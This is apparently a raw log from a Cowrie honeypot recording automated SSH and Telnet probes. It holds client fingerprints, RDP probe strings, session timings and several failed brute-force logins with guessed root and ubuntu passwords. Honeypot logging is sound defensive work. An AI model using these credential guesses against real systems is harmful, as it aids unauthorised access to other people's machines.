{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:24.651337Z","src_ip":"194.59.206.2","session":"49cec07087e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:24.746068Z","src_ip":"194.59.206.2","session":"49cec07087e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:24.836542Z","src_ip":"194.59.206.2","session":"49cec07087e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.59392547607422,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:29.974011Z","src_ip":"152.42.224.71","session":"2b9aa9a9e91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"7df5ce5e392f","protocol":"ssh","message":"New connection: 194.113.233.25:52326 (159.203.135.109:22) [session: 7df5ce5e392f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:30.985160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:30.989989Z","src_ip":"194.113.233.25","session":"7df5ce5e392f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:31.079880Z","src_ip":"194.113.233.25","session":"7df5ce5e392f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567d","message":"login attempt [root/1234567d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:31.353541Z","src_ip":"194.113.233.25","session":"7df5ce5e392f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:32.492725Z","src_ip":"194.113.233.25","session":"7df5ce5e392f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32942,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d0c45dc47c","protocol":"telnet","message":"New connection: 152.42.224.71:32942 (10.17.0.5:23) [session: c4d0c45dc47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:35.875843Z"}
{"eventid":"cowrie.session.closed","duration":78.14356517791748,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:36.058036Z","src_ip":"152.42.224.71","session":"5d2fbcc38ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32944,"dst_ip":"10.17.0.5","dst_port":23,"session":"78dc92162e45","protocol":"telnet","message":"New connection: 152.42.224.71:32944 (10.17.0.5:23) [session: 78dc92162e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:36.272660Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39080,"dst_ip":"10.17.0.5","dst_port":22,"session":"e610be287501","protocol":"ssh","message":"New connection: 193.32.162.145:39080 (10.17.0.5:22) [session: e610be287501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:38.715119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:38.720464Z","src_ip":"193.32.162.145","session":"e610be287501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:38.828832Z","src_ip":"193.32.162.145","session":"e610be287501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol123","message":"login attempt [ubuntu/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:39.156451Z","src_ip":"193.32.162.145","session":"e610be287501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:40.278447Z","src_ip":"193.32.162.145","session":"e610be287501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37850,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c69d119be6","protocol":"ssh","message":"New connection: 77.94.47.83:37850 (159.203.135.109:22) [session: 55c69d119be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:45.373372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:45.379206Z","src_ip":"77.94.47.83","session":"55c69d119be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:45.503045Z","src_ip":"77.94.47.83","session":"55c69d119be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456ru","message":"login attempt [root/123456ru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:45.883856Z","src_ip":"77.94.47.83","session":"55c69d119be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.530408143997192,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:46.798450Z","src_ip":"152.42.224.71","session":"897eff509043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:47.009359Z","src_ip":"77.94.47.83","session":"55c69d119be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63924,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b198a69825","protocol":"ssh","message":"New connection: 167.172.81.52:63924 (10.17.0.5:22) [session: 45b198a69825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:01.240629Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:01.247832Z","src_ip":"167.172.81.52","session":"45b198a69825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:01.252566Z","src_ip":"167.172.81.52","session":"45b198a69825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.98326373100281,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:15.196845Z","src_ip":"152.42.224.71","session":"4af5b9c4e21c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16039514541626,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:22.036109Z","src_ip":"152.42.224.71","session":"c4d0c45dc47c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00093841552734,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:22.341734Z","src_ip":"152.42.224.71","session":"c740379c0f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54118,"dst_ip":"10.17.0.5","dst_port":22,"session":"334a3ed3c96c","protocol":"ssh","message":"New connection: 147.45.199.80:54118 (10.17.0.5:22) [session: 334a3ed3c96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:39.951509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:39.955993Z","src_ip":"147.45.199.80","session":"334a3ed3c96c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:40.056872Z","src_ip":"147.45.199.80","session":"334a3ed3c96c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apelsin","message":"login attempt [root/apelsin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:40.344306Z","src_ip":"147.45.199.80","session":"334a3ed3c96c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:41.444184Z","src_ip":"147.45.199.80","session":"334a3ed3c96c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49767,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cabca0926ac","protocol":"ssh","message":"New connection: 152.42.212.128:49767 (10.17.0.5:22) [session: 5cabca0926ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:44.505985Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:44.510714Z","src_ip":"152.42.212.128","session":"5cabca0926ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:44.514262Z","src_ip":"152.42.212.128","session":"5cabca0926ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11b966caf6d","protocol":"telnet","message":"New connection: 152.42.224.71:59246 (10.17.0.5:23) [session: e11b966caf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:49.210559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59250,"dst_ip":"10.17.0.5","dst_port":23,"session":"653a498a18d2","protocol":"telnet","message":"New connection: 152.42.224.71:59250 (10.17.0.5:23) [session: 653a498a18d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:50.231375Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59266,"dst_ip":"10.17.0.5","dst_port":23,"session":"391e01b68e65","protocol":"telnet","message":"New connection: 152.42.224.71:59266 (10.17.0.5:23) [session: 391e01b68e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:51.525210Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":37524,"dst_ip":"10.17.0.5","dst_port":22,"session":"8579d8407021","protocol":"ssh","message":"New connection: 196.189.237.92:37524 (10.17.0.5:22) [session: 8579d8407021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:54.624007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:54.633228Z","src_ip":"196.189.237.92","session":"8579d8407021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:54.802308Z","src_ip":"196.189.237.92","session":"8579d8407021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pookie","message":"login attempt [root/pookie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:55.506114Z","src_ip":"196.189.237.92","session":"8579d8407021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:14:56.677379Z","src_ip":"196.189.237.92","session":"8579d8407021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.211768865585327,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:03.422192Z","src_ip":"152.42.224.71","session":"e11b966caf6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60022,"dst_ip":"10.17.0.5","dst_port":23,"session":"789ddfd3e580","protocol":"telnet","message":"New connection: 152.42.224.71:60022 (10.17.0.5:23) [session: 789ddfd3e580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:18.499044Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68c8a90180c","protocol":"telnet","message":"New connection: 152.42.224.71:57156 (10.17.0.5:23) [session: f68c8a90180c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:27.250820Z"}
{"eventid":"cowrie.session.closed","duration":45.55534315109253,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:35.786591Z","src_ip":"152.42.224.71","session":"653a498a18d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00172519683838,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:36.274258Z","src_ip":"152.42.224.71","session":"78dc92162e45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43940,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fb597da783","protocol":"telnet","message":"New connection: 152.42.224.71:43940 (10.17.0.5:23) [session: 90fb597da783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:36.651137Z"}
{"eventid":"cowrie.session.closed","duration":45.99446392059326,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:37.519584Z","src_ip":"152.42.224.71","session":"391e01b68e65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43956,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03b68cf8f53","protocol":"telnet","message":"New connection: 152.42.224.71:43956 (10.17.0.5:23) [session: c03b68cf8f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:15:38.369270Z"}
